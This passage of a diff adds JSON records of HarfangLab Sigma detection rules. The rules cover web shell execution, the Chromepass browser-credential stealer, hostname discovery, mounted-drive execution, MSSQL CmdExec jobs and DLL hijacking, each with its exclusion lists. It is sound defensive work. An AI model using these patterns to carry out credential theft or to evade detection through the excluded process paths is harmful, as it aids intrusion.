high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb325077-7493-4f82-9b3f-208764d322eb",
+  "rule_name": "Possible Web Shell Execution",
+  "rule_description": "Detects the execution of a suspicious shell process by a common web server software likely related to a web shell or a command injection via a vulnerable application.\nAdversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.\nAdversaries may also backdoor web servers with web shells to establish persistent access to systems.\nIt is recommended to analyze the command-line as well as to correlate this alert with other commands executed around it from the web server to determine their legitimacy.\n",
+  "rule_creation_date": "2021-09-17",
+  "rule_modified_date": "2026-01-28",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1203",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb41fe42-89d5-48a3-a7ee-8e098678f7ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296063Z",
+  "creation_date": "2026-03-23T11:45:35.296066Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296073Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/darkarp/chromepass",
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_chromepass.yml",
+  "content": "title: Chromepass Hacktool\nid: cb41fe42-89d5-48a3-a7ee-8e098678f7ff\ndescription: |\n    Detects a Chromepass generated binary being executed.\n    Chromepass is a python-based framework that generates Rust binaries that extract and exfiltrate information from Chrome-based browsers.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\n    If you assume this to be a breach, it is recommended to rotate the credentials used by the affected user.\nreferences:\n    - https://github.com/darkarp/chromepass\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2026/01/27\nmodified: 2026/02/17\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - attack.t1185\n    - attack.discovery\n    - attack.t1217\n    - attack.privilege_escalation\n    - attack.t1555.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Chromepass\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - Product: 'chromepass'\n        - Description: 'chromepass'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb41fe42-89d5-48a3-a7ee-8e098678f7ff",
+  "rule_name": "Chromepass Hacktool",
+  "rule_description": "Detects a Chromepass generated binary being executed.\nChromepass is a python-based framework that generates Rust binaries that extract and exfiltrate information from Chrome-based browsers.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\nIf you assume this to be a breach, it is recommended to rotate the credentials used by the affected user.\n",
+  "rule_creation_date": "2026-01-27",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005",
+    "attack.t1185",
+    "attack.t1217",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb4bfe98-8568-4057-97e4-e71a345c4957",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622760Z",
+  "creation_date": "2026-03-23T11:45:34.622762Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622766Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1082/"
+  ],
+  "name": "t1082_hostname_windows.yml",
+  "content": "title: Hostname Execution\nid: cb4bfe98-8568-4057-97e4-e71a345c4957\ndescription: |\n    Detects the execution of hostname.exe, which may be exploited by attackers to gather information about a system during the early stages of an attack.\n    It is recommended to investigate the process execution context and correlate with other alerts to determine if the use of hostname.exe is legitimate or part of a broader malicious activity, such as information gathering or lateral movement.\nreferences:\n    - https://attack.mitre.org/techniques/T1082/\ndate: 2022/12/02\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'hostname.exe'\n\n    selection_hostname_1:\n        ParentCommandLine:\n            - 'cmd.exe /c hostname'\n            - 'cmd.exe /c hostname.exe'\n        GrandparentImage|endswith:\n            - '\\powershell.exe'\n            - '\\wsmprovhost.exe'\n\n    selection_hostname_2:\n        CommandLine:\n          - 'hostname'\n          - 'hostname.exe'\n        IntegrityLevel: 'System'\n\n    selection_injection:\n        ParentImage|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n    filter_injection:\n        - ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\SysWOW64\\cmd.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n            - '?:\\Windows\\SysWOW64\\sihost.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe'\n        - ParentCommandLine:\n            - '?:\\WINDOWS\\system32\\wsmprovhost.exe -Embedding'\n            - '?:\\WINDOWS\\SysWOW64\\wsmprovhost.exe -Embedding'\n            - '?:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding'\n            - '?:\\Windows\\SysWOW64\\wbem\\wmiprvse.exe -secured -Embedding'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\IBM\\InformationServer\\Server\\DSEngine\\bin\\uvsh.exe'\n            - '?:\\Program Files (x86)\\BigFix Enterprise\\BES Client\\BESClient.exe'\n            - '\\IBM\\IEM\\BESClient.exe|?:\\Windows\\System32\\services.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n            - '?:\\Program Files\\Altiris\\Dagent\\dagent.exe'\n            - '?:\\Windows\\ADDMRemQuery_x86_64_v2.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '\\bin\\zabbix_agentd.exe|?:\\Windows\\System32\\services.exe'\n            - '\\PhenixServer\\GED\\TomcatGED\\bin\\tomcat?.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe'\n            - '\\asys\\progress\\openedge\\bin\\_progres.exe'\n            - '\\Digitech\\WebDelib\\Apache-Tomcat\\bin\\WebDelibTomcat.exe'\n            - '\\hardis\\reflex\\product\\windows\\ADELIWS_WINDOWS\\win64\\JavaService.exe'\n            - '?:\\Windows\\Prey\\wpxsvc.exe'\n\n    exclusion_commandline:\n        ParentCommandLine|contains: 'cmd /V:ON /E:ON /D /C (hostname) 1>C:\\Windows\\TEMP\\sf_proc_00.out 2>C:\\Windows\\TEMP\\sf_proc_00.err'\n\n    exclusion_carestream:\n        - CurrentDirectory:\n            - '?:\\Program Files\\Carestream\\Smart Link Agent\\Services\\bin\\'\n            - '?:\\Program Files (x86)\\Carestream\\Smart Link Agent\\Services\\bin\\'\n            - '?:\\Program Files\\Carestream\\System5\\syscheck\\'\n        - ParentCommandLine|contains:\n            - 'perl *\\System5\\nagios\\scripts\\'\n            - 'perl.exe *\\System5\\syscheck\\'\n            - 'perl */syscheck/syscheck.pl'\n            - 'perl *\\System5\\syscheck\\syscheck.pl'\n            - 'perl*C:\\PROGRA~1\\CAREST~1\\System5\\'\n\n    exclusion_neem:\n        CurrentDirectory:\n            - '?:\\Program Files\\Apache Software Foundation\\Apache*\\Neem\\Neem'\n            - '?:\\Program Files (x86)\\Apache Software Foundation\\Apache*\\Neem\\Neem'\n\n    exclusion_tssv2:\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains: '\\TSSv2.ps1'\n\n    exclusion_chronos:\n        CurrentDirectory:\n            - '*\\Asys\\Chronos\\Client\\'\n            - '?:\\Asys\\Environnements\\\\*'\n\n    exclusion_rider:\n        ParentImage|endswith: '\\JetBrains\\Toolbox\\apps\\Rider\\\\*\\bin\\rider64.exe'\n\n    exclusion_system_center:\n        ParentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentCommandLine: '?:\\Program Files\\Microsoft System Center ????\\DPM\\DPM\\bin\\msdpm.exe'\n\n    exclusion_evtexport:\n        ParentCommandLine|startswith: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $hostname=hostname;Get-winEvent -filterHashTable'\n\n    exclusion_dbspicam:\n        GrandparentCommandLine: '?:\\WINDOWS\\system32\\cmd.exe /c dbspicam *'\n\n    exclusion_hp:\n        Ancestors|contains: '?:\\Program Files\\HP\\HP BTO Software\\lbin\\eaagt\\opcacta.exe'\n\n    exclusion_manageengine1:\n        ParentCommandLine: '*;../lib/AdventNetUpdateManagerInstaller.jar;*'\n        GrandparentImage: '*\\bin\\wrapper.exe'\n    exclusion_manageengine2:\n        Ancestors|contains: '|?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcondemand.exe|?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentservice.exe|'\n\n    exclusion_winrm:\n        Ancestors:\n            - '?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\winrshost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n            - '?:\\Windows\\System32\\wsmprovhost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_ricoh:\n        CurrentDirectory: '?:\\Program Files\\RICOH\\TotalFlow PM\\'\n\n    exclusion_schedule:\n        - GrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessParentGrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - GrandparentCommandLine: '?:\\WINDOWS\\SYSTEM32\\cmd.exe /c ?:\\\\*.bat'\n          Ancestors: '?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_intersystems:\n        ProcessGrandparentOriginalFileName:\n            - 'Cache.exe'\n            - 'irisdb.exe'\n        ProcessGrandparentCompany: 'InterSystems'\n\n    condition: selection and ((1 of selection_hostname_*) or (selection_injection and not filter_injection)) and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb4bfe98-8568-4057-97e4-e71a345c4957",
+  "rule_name": "Hostname Execution",
+  "rule_description": "Detects the execution of hostname.exe, which may be exploited by attackers to gather information about a system during the early stages of an attack.\nIt is recommended to investigate the process execution context and correlate with other alerts to determine if the use of hostname.exe is legitimate or part of a broader malicious activity, such as information gathering or lateral movement.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb59ec57-9201-4464-a43b-fc8d339da03f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626206Z",
+  "creation_date": "2026-03-23T11:45:34.626208Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626212Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/",
+    "https://attack.mitre.org/techniques/T1566/001/"
+  ],
+  "name": "t1204_suspicious_extension_from_mounted_drive.yml",
+  "content": "title: Suspicious Process Extension from Mounted Drive\nid: cb59ec57-9201-4464-a43b-fc8d339da03f\ndescription: |\n    Detects an execution from a mounted drive (ISO, IMG or USB) with a suspicious file extension.\n    It is often the result of a spearphishing attack via a removable media such as a USB key or via an ISO or IMG file.\n    Attackers may abuse it to gain execution and to avoid detection.\n    It is recommended to check the executed binary for malicious behavior or content.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/\n    - https://attack.mitre.org/techniques/T1566/001/\ndate: 2025/12/10\nmodified: 2026/01/06\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204\n    - attack.initial_access\n    - attack.t1566.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ImageDriveType:\n            - 'removable'\n            - 'disk_image'\n\n    filter_legit_extensions:\n        Image|endswith:\n            - '.exe'\n            - '.dll'\n            - '.bin'\n            - '.sys'\n            - '.scr'\n            - '.W_X'\n            - '.QZ_'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb59ec57-9201-4464-a43b-fc8d339da03f",
+  "rule_name": "Suspicious Process Extension from Mounted Drive",
+  "rule_description": "Detects an execution from a mounted drive (ISO, IMG or USB) with a suspicious file extension.\nIt is often the result of a spearphishing attack via a removable media such as a USB key or via an ISO or IMG file.\nAttackers may abuse it to gain execution and to avoid detection.\nIt is recommended to check the executed binary for malicious behavior or content.\n",
+  "rule_creation_date": "2025-12-10",
+  "rule_modified_date": "2026-01-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204",
+    "attack.t1566.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb61697d-e59e-4928-b4cc-0d866202a835",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628291Z",
+  "creation_date": "2026-03-23T11:45:34.628292Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628297Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-cmdexec-job-step?view=sql-server-2016",
+    "https://book.shentoushi.top/Databases/Mssql.html",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1059/003/",
+    "https://attack.mitre.org/techniques/T1505/001/"
+  ],
+  "name": "t1190_mssql_job_cmdexec.yml",
+  "content": "title: Execution of a Suspicious MSSQL CmdExec Job\nid: cb61697d-e59e-4928-b4cc-0d866202a835\ndescription: |\n    Detects the execution of an MSSQL job using the CmdExec subsystem.\n    Attackers may execute a CmdExec job in order to gain code execution on a machine hosting a compromised database engine.\n    It is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\nreferences:\n    - https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-cmdexec-job-step?view=sql-server-2016\n    - https://book.shentoushi.top/Databases/Mssql.html\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1059/003/\n    - https://attack.mitre.org/techniques/T1505/001/\ndate: 2024/07/23\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.execution\n    - attack.t1059.003\n    - attack.persistence\n    - attack.t1505.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\sqlagent.exe'\n        Image|startswith: '?:\\' # Ignore shares\n\n    # This is handled by the rule 801a7bc0-ff7d-467e-91c6-47048e296a77\n    filter_cmd:\n        Image: '?:\\windows\\system32\\cmd.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_conhost:\n        Image:\n            - '?:\\WINDOWS\\system32\\conhost.exe'\n            - '?:\\WINDOWS\\syswow64\\conhost.exe'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\Syswow64\\WerFault.exe'\n\n    exclusion_mssqltools:\n        Image|endswith:\n            - '\\Tools\\Binn\\\\*.exe'\n            - '\\DTS\\Binn\\\\*.exe'\n            - '\\COM\\\\*.exe'\n            - '\\shared\\\\*.exe'\n            - 'MSSQL\\\\Binn\\\\*.exe'\n            - '?:\\Windows\\WID\\Binn\\SqlDumper.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_powershell_script: # mainly administration scripts\n        Image: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        CommandLine|endswith: '.ps1'\n\n    exclusion_msft_tools:\n        ProcessOriginalFileName: 'TriggerJob.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_common_export_tools:\n        - Image:\n            - '?:\\Windows\\System32\\ftp.exe'\n            - '?:\\Windows\\System32\\forfiles.exe'\n        - Image|endswith: '\\psftp.exe'\n          Company: 'Simon Tatham'\n        - Image|endswith:\n            - '\\WinSCP.com'\n            - '\\WinSCP.exe'\n          Company: 'Martin Prikryl'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb61697d-e59e-4928-b4cc-0d866202a835",
+  "rule_name": "Execution of a Suspicious MSSQL CmdExec Job",
+  "rule_description": "Detects the execution of an MSSQL job using the CmdExec subsystem.\nAttackers may execute a CmdExec job in order to gain code execution on a machine hosting a compromised database engine.\nIt is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1190",
+    "attack.t1505.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb9fbc59-20a2-44fa-a29f-2478fa492249",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087313Z",
+  "creation_date": "2026-03-23T11:45:34.087315Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087320Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_microsoftedgecp.yml",
+  "content": "title: DLL Hijacking via microsoftedgecp.exe\nid: cb9fbc59-20a2-44fa-a29f-2478fa492249\ndescription: |\n    Detects potential Windows DLL Hijacking via microsoftedgecp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'microsoftedgecp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iertutil.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb9fbc59-20a2-44fa-a29f-2478fa492249",
+  "rule_name": "DLL Hijacking via microsoftedgecp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via microsoftedgecp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cbdf5218-c8ec-48e6-b58f-9066c7358ec2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620898Z",
+  "creation_date": "2026-03-23T11:45:34.620900Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620905Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://support.microsoft.com/en-au/topic/credssp-updates-for-cve-2018-0886-5cbf9e5f-dc6d-744f-9e97-7ba400d6d3ea",
+    "https://github.com/preempt/credssp",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_credssp_vuln_allowencryptionoracle.yml",
